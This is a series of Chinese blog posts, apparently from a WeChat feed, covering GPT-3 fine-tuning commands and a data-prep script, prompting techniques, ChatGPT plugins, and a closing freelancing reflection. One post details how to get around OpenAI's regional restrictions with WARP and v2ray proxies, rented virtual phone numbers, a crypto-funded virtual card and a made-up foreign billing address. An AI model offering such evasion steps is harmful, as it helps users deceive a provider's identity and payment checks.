在ChatGPT的官方文档中，他首先鼓励你通过提供多个示例来让ChatGPT更准确的寻找答案，他把这个方案称之为"few-shot learning."

除此之外，当然他也允许你通过微调功能来对ChatGPT进行一定的训练，来获得一个更符合自己要求的ChatGPT，当然，这个功能是收费的。

但Fine-tuning这个功能目前只能应用于GPT3的基础模型，就目前而言，这个功能其实还不如很多市面上的其他大模型，openai并没有给出特别好的自定义方案给大家。但这篇文章还是先聊聊这个。

通过微调ChatGPT训练

准备工作

首先你需要在openai的api基础上操作，所以你需要一个简单的openai环境。

pip install --upgrade openai

当然你需要提前配置openai api key，这个key可以在openai的平台后台获得，这里就不多说了。

export OPENAI_API_KEY="<OPENAI_API_KEY>"

准备训练数据

首先我们需要准备相应的训练数据，这个数据文件都必须是JSONL文件，每行都是一个提示对，类似于

{"prompt": "<prompt text>", "completion": "<ideal generated text>"}
{"prompt": "<prompt text>", "completion": "<ideal generated text>"}
{"prompt": "<prompt text>", "completion": "<ideal generated text>"}
...

一般来说，你提供的训练示例最好有几百个，训练数据会直接影响到最终模型的质量。

你可以用openai提供的工具来验证和处理。

openai tools fine_tunes.prepare_data -f <LOCAL_FILE>

你可以提供CSV, TSV, XLSX, JSON,JSONL格式的训练数据

创建微调模型

在准备好相应的训练数据之后，你可以用opanai的工具来创建微调后的模型。

openai api fine_tunes.create -t <TRAIN_FILE_ID_OR_PATH> -m <BASE_MODEL>

当然，这里指定的基础模型只包含GPT3的部分，包括ada, babbage, curie,davinci

当然由于这个功能并不是在本地完成的，在openai的平台中可能会排在几小时之后。你可以随时中断这个任务。并随时恢复进程。

openai api fine_tunes.follow -i <YOUR_FINE_TUNE_JOB_ID>

在成功训练完成之后，你会获得相应的模型id。你就可以通过对应的模型id来使用它。

当然你也可以随时删除这些模型。

openai api models.delete -i <FINE_TUNED_MODEL>

一些训练范例

我研究了一些相应的训练范例实践，其中还有很多有意思的方案。我挑了一些比较有特点的选出来。

1、否定训练

如果你在和ChatGPT的对话当中，遇到反馈的事实错误，你可以通过否定训练来排除这部分并更正

{"prompt":"testtest", "completion":" yes"}
{"prompt":"test", "completion":" no"}

2、情感分析

在ChatGPT的配置中，有个很重要的参数就是情绪值。很显然，ChatGPT的情绪肯定不是空穴来风，这本身是基于数据集训练的结果。

当然，你也可以通过微调来对你数据集标注情绪以此训练

{"prompt":"Overjoyed with the new iPhone! ->", "completion":" positive"}
{"prompt":"@lakers disappoint for a third straight night  ->", "completion":" negative"}

你可以通过api来获取prompt对应的情绪判断值。

3、分类

如果你想要ChatGPT帮你完成分类的工作，那最好的方案是提供范例并以数字作为标志.

{"prompt":"test", "completion":" 1"}
{"prompt":"1231421", "completion":" 2"}

通过数字标志可以帮助ChatGPT更准确的对目标做分类。

4、样本处理与提取

如果你需要用ChatGPT来完成样本提取工作，你可以用一些简单的多行范例来举证。

{"prompt":
"Portugal will be removed from the UK's green travel list from Tuesday, amid rising coronavirus cases and concern over a \"Nepal mutation of the so-called Indian variant\". It will join the amber list, meaning holidaymakers should not visit and returnees must isolate for 10 days...\n\n###\n\n", 
"completion":
" Portugal\nUK\nNepal mutation\nIndian variant END"}

理论上来说，你可以提供大量的样本标准文本的提取方案。

5、聊天机器人

如果你需要完成一个聊天机器人的功能，最好的办法是给ChatGPT提供问题以及大量回答样本，这样可以让ChatGPT学习他应该回答的内容。

{"prompt":"Summary: <summary of the interaction so far>\n\nSpecific information:<for example order details in natural language>\n\n###\n\nCustomer: <message1>\nAgent: <response1>\nCustomer: <message2>\nAgent:", 
"completion":" <response2>\n"}
{"prompt":"Summary: <summary of the interaction so far>\n\nSpecific information:<for example order details in natural language>\n\n###\n\nCustomer: <message1>\nAgent: <response1>\nCustomer: <message2>\nAgent: <response2>\nCustomer: <message3>\nAgent:", 
"completion":" <response3>\n"}

你可以像这个范例中讲的一样，按照问题回答场景来划分提示词。

一个小小的实例

接下来跟着前面的每一步来训练一个自己的ChatGPT，首先我们需要准备一份数据集。这里我选择用我的博客内容来做初步的内容训练。

用一个简单的python3脚本来处理所有的md文件并生成对应的jsonL文件。

这个prompt的范例比较粗暴，不是很靠谱的，只是测试一下。

import os
import glob
import re
import json
import codecs
folder_path = 'posts' # 指定文件夹路径
output_file = 'output.jsonl' # 指定输出文件名
md_files = glob.glob(os.path.join(folder_path, '*.md')) # 获取所有的md文件路径
with codecs.open(output_file, 'w', encoding='utf-8') as f:
    for file in md_files:
        with codecs.open(file, 'r', encoding='utf-8', errors='ignore') as md:
            text = md.read()
            match = re.search(r'title: (.+)\n', text) # 匹配标题和内容
            text = re.sub(r"```.*?```", "", text, flags=re.DOTALL)
            if match:
                i = 0
                max_length = 2000
                while len(text) > i*2000:
                    t = text[i*max_length:i*max_length+max_length]
                    prompt = match.group(1) + ' Part {}'.format(i+1)
                    completion = ' ' + t + 'END'
                
                    data = {"prompt": prompt, "completion": completion}
                    json_data = json.dumps(data) + '\n' # 将字典格式化为JSONL格式
                    f.write(json_data)
                    i += 1

然后我们用openai来处理一下这部分数据集

他会给你一些修改意见和处理方案，并且会自动处理一下你的数据集。

然后我们在基础的4个GPT-3模型中选取一个作为基础模型，其中davinci这个模型要相对来说更强大，也更适合进一步培养。但要注意的是，davinci相比之下贵10倍还多。

openai api fine_tunes.create -t .\output_prepared.jsonl -m davinci

要注意这一步是要翻墙的，不然无法上传文件。

等待微调的任务处理完成。如果不小心中断，可以用follow继续

openai api fine_tunes.follow -i ft-PcXP6lbEZKDHo3ez8986RWmZ

之后就是等待结果即可，我自己研究了一下发现这个东西有点儿贵的我训练集数据也就400多条，还用了比较便宜的curie模型，结果还花了10刀。

训练完成之后你就可以使用这个模型来交互。但我研究了一下，这个微调后的Chatgpt只能用Complete功能，你可以使用api或者platform来调用这个模型。

但还是那句话，这个方案问题相当之大，一个是GPT3在现在的大模型中是比较菜的，先不说GPT4，连3.5什么时候上线这个功能还遥遥无期，另一方面就现在的内容而言，训练的结果和价格其实不太成正比，一方面微调这个功能很依赖训练的数据有效度，你简单的拿一大堆数据来搞不但很贵还效果不好，你精心准备各种提示词和内容又违背了本身依靠ai来做总结归纳的初心，所以现在市面上更多的基于chatgpt的第三方工具，都是用了一些其他的方案。

基于上下文训练

在前面的文章中，其实有讲到这个关键点，虽然ChatGPT不会学习来自互联网上的任何对话信息，但为了保证对话的流畅性，ChatGPT会记录每个对话session的上下文并在这个基础上对你进行反馈。

所以就衍生了一种相关的方案，通过储存上下文来实现简单的训练，这个东西最大的优势是可以使用现在大模型中最领先的GPT4模型，而问题是，这种方案只能实现特别简单的训练，尤其是不能太多条+长度过长！

很多第三方的ChatGPT和一些浏览器插件其实都实现了类似的功能。这里拿我使用的第三方ChatGPT来看看这个功能。

• https://github.com/Yidadaa/ChatGPT-Next-Web

首先是你可以在对话之前对其预设面具，这个东西可以有很多预设内容。这里我们只假设了一个比较简单的基础设定。当然这只是一个简单的人设面具，你也可以通过特别具体的prompt来作为基础了，这部分内容在前面的文章中讲到过。

我们再回到魔兽的小助手上，我们再提供一下相关的数据。把相关的数据以及条件放在方案预设之中。这里提前准备好相应的数据内容。

通过设置前置上下文，可以在一定程度上影响ChatGPT的功能以及表现，来实现一个简单的自定义ChatGPT。

除此之外，ChatGPT-Next-Web本身也有消息摘要功能，会总结前几条发送的内容摘要。附加到请求中。

要注意的是，这个方案更适用于和ChatGPT本身功能类似的场景，大部分是文字类相关的，主要是设定场景和人设。在一定的限定场景下并控制回复，就比如非常经典的文案辅助、批改作文等等。

但单纯的预制prompt不适用于有大量基础数据的特殊模型，当然，魔高一尺道高一丈。也有不少产品用了一些旁敲的方案。还是拿刚才基于博客文章训练的问答机器人来举例子。

如果单纯的靠文章数据总结或者干脆直接拿博客文章来训练，这份数据集很大而且内容冗杂，直接训练的效果很不好，所以更靠谱的方案是，在ChatGPT前面挂一个数据库。

用户输入问题的时候可以简单的拆解关键词然后从数据库查询结果，然后再作为上下文传到ChatGPT，并由ChatGPT做总结和摘要。

但这种基于上下文的训练方案问题比较多，专业性越强的效果就会越差，内容越多效果也会越差，所以这其实也算是一种临时方案，与实际训练过的效果差很多。

基于其他LLM大模型的训练方案

其实抛开ChatGPT以外，现在市面上还有非常多比较靠谱的LLM大模型，虽然和GPT4都有很大的差距，但能比拟GPT3.5的大模型已经相当多了。

我思来想去，感觉这个问题还比较多，这部分内容我打算专门拆到另一篇文章里再说。

阅读原文

跳转微信打开

在我们对ChatGPT的基础能力有了一定的了解之后，我们就要开始在ChatGPT的基础上探索更多的可能性。

在我们对ChatGPT的基础能力有了一定的了解之后，我们就要开始在ChatGPT的基础上探索更多的可能性。

而ChatGPT本身的问题也很多，ChatGPT在使用上最大也最明显的革命，其实是对自然语言的处理能力，抛开太多专业性的术语，你在使用的过程中也能明显感觉到，ChatGPT甚至在某些方面有着比正常人更厉害的解读能力，它可以把一段模糊的要求和文字解读成需求，最牛逼的是它还支持中文，毕竟理论上中文的自然语言处理难度是几个量级。

拿下面这个图举例子，我感觉我都没说明白，但却获得了答案。

除了强大的自然语言处理能力，以及大模型背景下庞大的数据以外。ChatGPT还有很多明显的缺点，其中最直白的问题就是数据的过时以及不联网问题。目前ChatGPT的训练数据集截止到2021年，而没有准确数据集的数据，ChatGPT就没有置信数据可以参考，而这类问题ChatGPT就会通过某种方式自我学习产生，而他的结果就会产生各种各样的错误。

当然，为了避免大数据污染等等问题，ChatGPT目前公开对外使用的接口，最多只会参考部分上下文以及限定单个对话session中做学习优化，但不会对用户的输入做学习。

为了解决这个问题，ChatGPT选择了用第三方插件作为媒介，让AI在比较安全的环境学习外界的数据，最早的合作公司由Expedia、FiscalNote、Instacart、KAYAK、Klarna、Milo、OpenTable、Shopify、Slack、Speak、Wolfram 和 Zapier 创建。

• https://openai.com/blog/chatgpt-plugins

其中的各种插件可以覆盖大部分的场景，包括：

• 检索实时信息：例如体育比分、股票价格、最新消息等；

• 检索知识库信息：例如公司文件、个人笔记等；

• 代表用户执行操作：例如，订机票、订餐等。

除此之外呢，ChatGPT官方还提供了两个插件，一个是网络浏览器，另一个是代码解释器，并开源了一个知识库检索插件的代码。现在，任何开发人员都可以自行构建插件，用来增强 ChatGPT 的信息库了。从这里开始ChatGPT+的概念算是诞生。

虽然目前这部分的插件还只是开放给了候补名单中的用户和开发人员，但计划中即将开放给部分ChatGPT plus的用户了。

一些有趣的ChatGPT周边

除了ChatGPT官方的插件以外，还有很多以各种各样的方案实现的ChatGPT衍生产品，其中有很多意思的东西，这里我就推荐几个比较有意思的

WebChatGPT

https://chrome.google.com/webstore/detail/webchatgpt-chatgpt-with-i/lpfemeioodjbpieminkklglpmhlngfcn

WebChatGPT是一款Chrome的插件，它可以用一个特殊的方案来实现ChatGPT的联网，来让ChatGPT的返回数据更准确更新。

他的实现方案特别有意思，简单来说，他会先把你的问题拿去搜索引擎上搜，然后把结果喂给ChatGPT，然后让ChatGPT以搜索结果作为上下文学习，之后再回答你的问题。

插件安装成功之后，你的对话框上多了很多的参数

Web access（是否要开启联网功能）、X results（想要它列出几条来源）、Time（多久之前的资料）、Region（哪个地区的资料），以及最右边的Prompt（默认指令）

通过配置参数并开启，你可以获取到非常有时效性的内容，比如说询问天气。因为正常来讲你询问chatgpt天气会返回这样的内容。

但如果你使用这个插件，你就可以获取这样的结果。

但要注意的是，由于插件的实现方式（通过输入搜索内容关联上下文），使用WebChatGPT会大幅度削减原本对话中的上下文关联度，所以一般来说只有特定的场景下才使用这个插件。

Monica

https://chrome.google.com/webstore/detail/monica-%E2%80%94-your-chatgpt-cop/ofpnmcalabcbjgholdjcjblkibolbppb

这个插件是Google for ChatGPT的进阶，它集合了你在上网过程中会遇到的各种问题和场景，并通过chatgpt来辅助使用。

当然，这个玩意现在越来越成熟了，所以它也开始收费了，大家可以自己感受一下

这个插件最常见的功能就是搜索辅助，会直接对你google的搜索结果做优化，直接返回你i想要查询的结果。可以大幅度节省找到答案的时间。最牛的是，它还支持百度。

除此之外，还有一些比较有意思的东西，比如说划词右键解释

使用ctrl+m可以打开侧边，这里有两个功能，一个是聊天和写作辅助

它还可以提供阅读功能，可以直接给它一篇文章，然后让他阅读，他会直接给你返回文章的摘要。

你可以通过这个对话聊天功能来快速的阅读一篇文章。

AutoGPT

• https://github.com/Significant-Gravitas/Auto-GPT

AutoGPT诞生没多久，比起这个东西本身的效果，AutoGPT本身的思路和理念很有意思，AutoGPT依托于GPT4强大的算力和思考能力，对你的需求进行解构深入。比较麻烦得是，AutoGPT对算力的依赖比较强，GPT3.5能用但是很难用。而且由于AutoGPT的理念

AutoGPT就像一个不知疲倦的实习生，他会对你下的指令进行多重解构，并对当前的问题持续发散探索更多话题。

这里有个小例子，假设我想要一个web扫描器但是没有指定任何要求（你可以通过增加要求来优化回答的导向

auto-gpt在分析了我的需求之后，提出了一个计划，是先去找一个网上的扫描器然后再根据需求改进，还提醒我小心代码的安全问题，不要盲目的clone代码。

如果我们继续让他分析，他会继续把分析的内容细化并深入，你也可以指定连续多步去分析。

当然除了让他继续分析，你也可以给与一些人工的干预，比如我说我不想要别人的代码，我想要自己写，他指出我们需要好好分析需求。

其实现在阶段的AutoGPT更多还是一个概念产品，使用上的体验更接近一个demo。比起实际意义，AutoGPT通过反馈较正的方式给我们呈现了一种机器思考的感觉，很有趣。

写在最后

这篇文章里我们讨论的大多都是现在已经成型的一些基于chatgpt的拓展，作为使用者我们能做的很多只有适应时代，下篇文章我们就讲讲，在chatgpt的基础上我们作为开发者能做什么？

阅读原文

跳转微信打开

在上篇文章的结尾，我提到了ChatGPT其实更像是一把铲子，在拥有这把铲子之前，我们只知道可以把土堆成房子，如何用铲子堆一个又大又漂亮的房子可能我们还不知道，但至少我们现在已经开始尝试做这样的事情了。

在上篇文章的结尾，我提到了ChatGPT其实更像是一把铲子，在拥有这把铲子之前，我们只知道可以把土堆成房子，但是不知道用什么把土堆起来，但在有了这把铲子之后，铲土只是铲子最直白的利用，如何用铲子堆一个又大又漂亮的房子可能我们还不知道，但至少我们现在已经开始尝试做这样的事情了。

其实从ChatGPT诞生至今，所有从事相关研究的朋友都在努力的在ChatGPT上探索各种各样的使用方式，甚至现在已经诞生了所谓的prompt工程师。

这篇文章就聊聊很多现在已有的关于ChatGPT使用的技巧。

4A & 4W

首先ChatGPT在自然语言的理解上虽然有着领先时代的表现，但事实上ChatGPT并不是你的蛔虫，你试图通过简单的问题获得准确的回答是不可能的，也不现实。

这里我也用一下，在讲述这个问题时最常用的“如何减肥”的例子。如果你只是简单的问，那么chatgpt的回答就会模糊而概括。

随着大家的探索，逐渐诞生了两种常用的扮演法指令模式，也就是4A & 4W。

• 4A: Actor(角色) - Aim(目标) - Ask(提要求) - Addition(补充)

4A模型是Prompt中比较典型的例子，晚上大部分流行的提问方式都是这个结构，还是拿减肥举例子，这一次我提供了我的身高和体重，并且给他赋予了角色定位。

相比之前更简单的提问，ChatGPT给了更具体的回应以及更详细的范例，但实际上在这个范例中，虽然内容详细但事实上没有太具体的计划。

在这个基础上，又有人提出了4W模型。

• 4W: What(我的情况是) - Will(我想) - Who(你是谁) - Want(我要你)

我们把前面的问题换个问法

这一次ChatGPT反馈的最大变化就是他会根据我的内容进行发散，进而进一步的反馈详细的内容和反馈。

事实上ChatGPT对于问题的回答并不是一定的，相比4A模型，4W模型的反馈质量更高反馈也比较直白，在GPT4版本之后发散度也更高，也是现在比较主流的扮演提问法。

但事实上，4W的基础提问法只是比较通用的问法，但在扮演法可以有更详细的提问方式。比如我们先问问有没有专业的健身教练。

根据他的反馈，我们直接找其中一个人，让ChatGPT扮演这个人来提供建议。

在这种情况下，ChatGPT有可能，注意是有可能，会生成带有强烈的个人风格的反馈内容。而这部分内容一般来说有效度会更高，因为他很有可能是基于已有的内容生成的。但这并不绝对，因为ChatGPT还没有真正意义上联网。不过使用这种更详细的扮演法在某些情况下会让你的结果更有效。

Openai 的官方最佳实践

这里我们也一起看一看openai公开的prompt最佳实践，里面其实也是提到了一些我们熟知的，这里我提取几个比较关键的点。

1、把指令放在Prompt的开头，并且用###或者"""来分割指令和上下文。

我需要把下面这段代码压缩到一行
###
var cookieStr = 'ppmsglist_action_3907326541=card';
var cookieArr = cookieStr.split('; ');
for (var i = 0; i < cookieArr.length; i++) {
	var cookie = cookieArr[i];
	var arr = cookie.split('=');
	document.cookie = arr[0] + '=' + arr[1];
}

2、对希望得到的内容的背景、结果、长度、格式、风格尽可能的详细

3、通过示例阐述所需的输出格式

其实也很好理解，你可以用一些范例来表达你想要的内容，来帮助chatgpt矫正结果。

4、先不提供范例，再尝试给出范例，然后根据返回微调。

5、减少不精确的描述。

比起“我想要一段短小的内容”，最好直接指明内容的长度，比如“我想要一段100字左右的内容”

6、与其说什么不该做，不如说什么该做。

7、在想要生成代码的时候，使用引导词让模型向特定的模式发展。

在openai的范例中，他用import作为python的引导词，用select作为sql的引导词。

Prompt Engineering

其实相比简单的提问式回答，现在的Prompt相关的内容已经相当成熟了，比如github上现在有很多类似的项目，整理了大量的经典Prompt场景

• https://github.com/PlexPt/awesome-chatgpt-prompts-zh

甚至已经有相当成熟的网站分享相关的信息https://www.explainthis.io/zh-hant/chatgpt

除了这种简单的指令分享，甚至还有更牛逼的直接把这个东西直接包装成产品，直接辅助你去写各种prompt。

额外参数

除了简单的对话技巧以及各种方案，ChatGPT还提供了不少的额外参数以影响返回的结果，其中我挑部分我觉得比较有意思的参数

temperature

temperature这个参数官方给出的解释是，衡量模型输出不太准确信息的频率，temperature越高，输出越随机，并更具有创造性。但相比官方的解释，我们甚至可以把temperature理解为情感值或者温度值。

temperature默认是0.8，最高为2。通常来说，在询问具有创造力的结果时，可以让temperature提高，来获得更有意思的结果。在询问某些事实或者准确的内容时，可以降低temperature来获得更准确的结果。你可以在调用api的时候设置这个参数来控制它。

这是temperature为0.2时返回的结果。

当temperature为2的时候，chatgpt就有点儿傻，返回的非准确内容中会大量的随机各种结果。

当temperature为1的时候，chatgpt相对比较平衡

presence_penalty

presence_penalty也是一个比较常见的参数，我们可以把这个参数认为是话题新鲜度，也可以认为是话题拓展的可能性。这个值越大，chatgpt在对话中也会越主动的发起新的分支。

这个值默认是0，可以从-2到2之间。

我自己尝试了一下感觉这个参数的表现其实比较弱，一般的问题回复其实是感受不到的。

frequency_penalty

frequency_penalty整体上和presence_penalty类似，主要是控制总体使用频率较高的单词和短语概率，这个值越高，chatgpt中就会尽量减少重复。

这个值默认是0，可以从-2到2之间。

max_tokens

标志返回的token长度的硬截止限制，这个token之前也说过其实标志是的是单词或者短语，这个计算方式相当宽泛，所以一般设置max_tokens就是为了保底，避免某些特殊的问题导致超长的回复浪费api的资源。

stop

一个特殊标记，可以在文本生成过程中暂停文本的生成。

写在最后

掌握了ChatGPT简单问答式的用法，就相当于我们已经学会了用铲子铲土。

而在ChatGPT基础上做进一步的探索相当有趣，下篇文章就讲讲怎么用铲子盖房子。

阅读原文

跳转微信打开

在2023年年初，ChatGPT像一颗流星一样突然出现在大家的面前，围绕ChatGPT的探索也以各种各样的方式出现在大家的面前。

这篇文章就先讲讲我在这个过程的所有探索以及相应的解决方案吧。

在2023年年初，ChatGPT像一颗流星一样突然出现在大家的面前，围绕ChatGPT的探索也以各种各样的方式出现在大家的面前。

相比基于ChatGPT的探索，openai的平台和国内的对抗反倒在潜移默化的升级，我没有了解过openai到底有什么样的背景导致一直执着于国内使用者的封禁，这篇文章就先讲讲我在这个过程的所有探索以及相应的解决方案吧。

IP限制

这个东西是在使用ChatGPT过程中遇到的最大的问题，而且其中的相应策略极其复杂，这里只列举我撞到的策略和绕过方案。

通过代理解决

首先来源IP这块就不用多说了，你正常直接去访问openai.com都会撞到GFW的拦截，当然作为技术从业者有自己的科学手段自然不用多说了，但如果说GFW是你入门的门槛的话，那chatgpt使用的方案可以说是釜底抽薪。国内百分之90的科学手段大抵上都是利用国外的服务器来实现的，而且除开使用机场的朋友以外，大部分都是使用比较有名的各种云服务器，chatgpt搞得第一个门槛就是，封禁了大部分的云服务器ip以及网段。

• vultr，godaddy

• aws，oricle，linode

• 阿里云、腾讯云

这就直接导致了一个问题，就是在ip层面你就需要想办法绕过。

根据我的了解，其实大部分人都使用了比较冷门的云服务商或者比较冷门的机场来解决，这样比较一劳永逸，而我选择了用另一个方案就是v2ray+cf wrap，这里我就不详细解释具体是怎么回事了，大概是用了CF推出的一个相对比较真实的ip来做代理，很多朋友会用这个方案来绕过Netflix的限制。具体可以参考这个链接来实现。

https://github.com/willoong9559/XrayWarp

配置warp

1、参考CF的文档来安装warp

https://developers.cloudflare.com/warp-client/get-started/linux/

2、注册客户端

warp-cli register

3、设置WARP代理模式

warp-cli set-mode proxy

4、连接WARP

warp-cli connect

此时WARP会使用socks5本机代理127.0.0.1：40000

5、打开warp always-on

warp-cli enable-always-on

6、测试socks代理，理检查ip是否改变

export ALL_PROXY=socks5://127.0.0.1:40000
curl ifconfig.me

7、修改V2ray的配置

• 为inbounds启动sniffing

"sniffing": {
    "enabled": true,
    "destOverride": ["http", "tls"]
}

• 为outbounds中加入socks_out相关的配置

"outbounds": [
        {
            "tag": "default",
            "protocol": "freedom"
        },
        {
            "tag":"socks_out",
            "protocol": "socks",
            "settings": {
                "servers": [
                     {
                        "address": "127.0.0.1",
                        "port": 40000
                    }
                ]
            }
        }
    ],
    "routing": {
        "rules": [
            {
                "type": "field",
                "outboundTag": "socks_out",
                "domain": ["geosite:netflix"]
            },
            {
                "type": "field",
                "outboundTag": "default",
                "network": "udp,tcp"
            }
        ]
    }

• 下面的routing配置当中，我们可以把需要过warp的域名配置进去，因为warp相对慢很多，所以其他域最好不要过warp。

            {
                "type": "field",
                "outboundTag": "socks_out",
                "domain": [
									"geosite:netflix",
                	"openai.com",
									]
            },

• 重新启动v2ray/xray

systemctl restart v2ray
systemctl status v2ray

如果要应用geosite的域名列表，则需要下载geosite和geoip包放到/usr/local/bin中。

如果想要测试有没有效果，可以通过添加ipip的域名并访问ipip查看是不是服务器对应的ip。

其他方案以及问题

当配置完warp其实正常的服务器就可以正常使用了，如果你刚好有没有被封的账号，那你现在已经可以正常使用了。

但如果你的账号以某种方式被封了，到这里你还是没办法使用。（有趣的是，这种封禁并不是永久的，他会以某种方式被解封）

而更糟糕的问题是，如果你试图注册一个新的账号，那么很大概率会提示，相同的ip下注册请求过多。

关于这个问题其实我没有找到特别完美的方案来解决，网上在这一步使用的方案大多是使用一个冷门的服务器上直接在windows服务器上远程操作实现又或者是让别人来注册。

通过API来解决

其实在openai的设定中有个很有意思的设定，就是chatgpt平台和API平台是分开的。

首先大家比较常说的chatgpt其实是在线的一个平台，也就是我们见的最多的对话平台。

这个平台的限制最严格，账号最容易被封，但优势是在这个网页我们可以获得一手的使用体验，如果升级plus还可以优先使用chatgpt后续的最新更新。

但事实上大部分朋友其实是不需要这些东西的，我们可以通过chatgpt的api配合一些第三方开发的平台来实现。

而ChatGPT的API我们可以在openai的platform上看到

这个平台其实对国内用户的封禁是没那么严格的，而且刚注册的账号是可以在前3个月使用免费的18刀额度，所以很多人其实是选择用这个接口来使用的

如果你把免费的额度使用完之后，你可能会遇到无法付费的问题，具体可以看后面。

在openai的platform后台可以新建一个API keys

配合一些现在做的很不错的二次开发平台，能体验到比原版chatgpt更实用的感受。有一个比较好用的ChatGPT Next Web

https://github.com/Yidadaa/ChatGPT-Next-Web

ChatGPT Next Web提供了一个基于vercel实现的方案，可以允许做一个私有化的平台，并利用web pages功能+绑定自定义域名部署在网上，这个方案相当实用，同样也不依赖科学上网。

账号邮箱封禁

在初版的ChatGPT注册的时候其实是没有这个限制的，所以大部分朋友估计都没有遇到过这个问题，我最早的账号直接就是Gmail注册的也没遇到类似的问题，但是在最近chatgpt封禁了大部分我们能用到的邮箱。

1. QQ邮箱,foxmail邮箱

2. 163邮箱，网易邮箱，126邮箱，新浪邮箱

3. Outlook、hotmail邮箱

4. edu.cn邮箱

5. Gmail，只能快捷登录

正常来说的话，其实我们国内能用得到的大部分邮箱里只有gmail可以正常使用了，但是gmail的注册最近也有一些问题这里就先不聊。

如果你的账号是因为邮箱被封禁，会在注册的时候出现类似的提示。

其实比较实用的方案还是用自己的域名，绑定自定义域名应该可以绕过这个问题。但是要搞一个企业邮箱，这里先不提了。

手机号封禁

在解决了邮箱的问题之后，你遇到的第二个问题就是手机号封禁，在注册openai的账号的同时你需要一个国外的手机号接受短信，一般来说SMS Active是比较实用的一个网站，国内可以直接用visa卡来支付，收费也不贵以后也用得到.

https://sms-activate.org/cn/

这个网站租用的虚拟手机号是专门用来注册各种各样的网站的，其中就有openai，我们可以直接选openai

然后选择对应的国家点击购买就会获得一个随机的手机号，复制手机号到openai对应激活接受短信即可。由于这个平台大家使用的还是比较多的，所以可以用稍微冷门一点儿的国家手机号有效度比较高，如果激活失败可以多尝试几个手机。

使用相关的问题

当你搞定所有的问题之后，你可能会遇到一些使用上的问题，这里我写两个最常见的问题。

首先大家比较常说的chatgpt其实是在线的一个平台

在这个平台里可以选择不同的model比如GPT4，每个session都是独立的，会保存一定程度的上下文，但同样有很多的限制，其中最常见的就是GPT-4，3小时只能发送25条消息。

而ChatGPT plus也是针对这个页面的收费服务，ChatGPT本身是免费的，但如果你订阅ChatGPT plus会有很多额外的权益，其中最实用的就是更快的响应速度和新功能优先使用。

但其中容易被忽略的问题是，ChatGPT plus看上去并不便宜，需要20刀每个月，但其实并不提升API，plus只是单纯针对Chat网页的优化，而更关键的是，由于ChatGPT在后续的更新中加入了CF做防护，现在基本上已经没办法通过通过第三方来模拟ChatGPT了，大部分都是使用官方提供的API接口。

而API的收费方式是根据tokens计算的，你可以简单的把tokens认为是单词片段。

而ChatGPT的API我们可以在openai的platform上看到

这个平台其实对国内用户的封禁是没那么严格的，而且刚注册的账号是可以在前3个月使用免费的18刀额度，所以很多人其实是选择用这个接口来使用的

如果你解决不了chat界面的封禁，可以尝试直接使用api来使用，也是个不错的方案。

当你把免费额度使用完之后，你会遇到一个新的问题，就是如何支付？

如何支付？

其实除开服务器的ip限制，最麻烦的问题就是这个，其实大部分的国外网站都是可以使用visa卡直接支付的，很多银行都有全球卡，但麻烦的是，openai似乎对这方面做了一定的限制，你无法使用国内银行卡来支付，你会遇到一个类似这样的提示。

我在研究了很多方案以后，得到了一个最简单的方案，就是depay，这个东西其实最近也挺流行的，depay使用usdt作为标准代币可以申请虚拟信用卡，而且depay的信用卡相当实用，申请的虚拟卡甚至可以绑定微信和支付宝，可以用来把国外的赏金转回来。但比较麻烦的是，depay必须使用udst充值，这方面我就不科普了，可以用各大平台APP来c2c交易。感兴趣的话可以用我的邀请链接注册。

https://depay.depay.one/web-app/register-h5?invitCode=689747&lang=zh-cn

搞定虚拟信用卡之后可以直接在后台绑定卡，要注意depay必须提前充值余额进去才能使用。

要注意下面的账单地址最好找个国外的地址，否则可能会触发一些限制，比较简单的方案是直接在google map上搜一个地址贴上去。

基本上找个差不多的地址都ok。正常添加完就可以使用了，注意可以加入一点儿使用限制，避免超额

如何使用？

其实在你接触到ChatGPT之前，你可能会接受到无限的关于ChatGPT的吹捧。但当你真正使用ChatGPT的时候，你可能玩的很开心，但确想不到这个东西究竟有啥用，因为他又不能用来查询资料，也不能凭空做工作。当你冷静下来可能会觉得ChatGPT更像是个玩具。

但ChatGPT其实更像是一把铲子，在拥有这把铲子之前，我们只知道可以把土堆成房子，但是不知道用什么把土堆起来，但在有了这把铲子之后，铲土只是铲子最直白的利用，如何用铲子堆一个又大又漂亮的房子可能我们还不知道，但至少我们现在已经开始尝试做这样的事情了。

关于具体的使用方案，在这篇入门篇先不提，下篇再见。

阅读原文

跳转微信打开

写下这篇文章的时候大概是自由职业1周年，一年的时间说长不长说短不短，期间有很多经历很多感受，对我自己来说可能是一个很神奇的人生经历与阶段。

写下这篇文章的时候大概是自由职业1周年，一年的时间说长不长说短不短，期间有很多经历很多感受，对我自己来说可能是一个很神奇的人生经历与阶段。今天就和大家聊聊这一年很多奇奇怪怪的心路历程吧，也想顺带看看有没有朋友给我介绍工作，看看是不是有更适合我现在状态的方式。

2022年算是一个很特殊的年头，作为YQ的末年，从5月的YQ再次爆发，再到11月年底的大爆发，在时代的漩涡中，每个人都难以逃脱影响。最直白的影响其实就是工作与生活节奏的不可控。

                            这是404送我的一个日历，一天撕一页最后得到一个地球

其实我现在回忆起来已经很难明确的说得出每个阶段的想法与心路历程了，毕竟人的情绪是感受为先的，单单从记忆里抽丝剥茧显得非常客观不真实，就像讲述别人的故事一样，这里我们还是让事情回到原点，从去年离开小米聊起。

其实，在去年发的离职文章当中我含含糊糊的提到过一些离职的原因，很多人将其总结为所谓的追逐梦想，但其实大可不必如此虚伪，无论后来的任何所作所为任性洒脱，都逃不开事情的起因，说白了就是工作不顺利。如果生活安逸，人自然不可能想着逃离现状，居安思危可不是人的本性，享受舒适圈才是。

所以，起因于工作不顺利，我便开始思考我能做什么，想做什么。在经历了一段时间的取舍与纠结，我终于意识到一个问题，如果挣钱不是为了让人生有选择，那挣钱的意义是什么？所以下定决心。

刚刚休息的那一段时间其实没想太多东西，没想着要做什么，至于up主这条路，在最初的心态也主要是正儿八经的当个事情做，但没什么规划和计划，那段时间做的最多的事情是看书，看以前留下的想看的技术书，看还没来得及看的小说，看没来得及看的电视剧。花时间去想想自己要做的事情，调整自己的心态。

大体上就是这个阶段的时候就赶上了第一波YQ，人一下子就被封在家里了，又是久违了的居家时间，不知道大家对于居家办公这件事是怎么看待的，如果说一个人居家还算可以调整自己要做什么，该做什么。那两个人居家就完全不一样了，睡醒就想中午该吃点儿什么，吃完就想下午看个什么电视，然后又开始想晚上应该做个什么饭。看上去是居家办公，其实说白了就是放长假。也正是在这个阶段我开始遇到了第一个困境，我有点儿怀疑自己离职的意义是什么？

于是痛定思痛开始规范自己要做的两件事情。

• 安全

• up主

安全

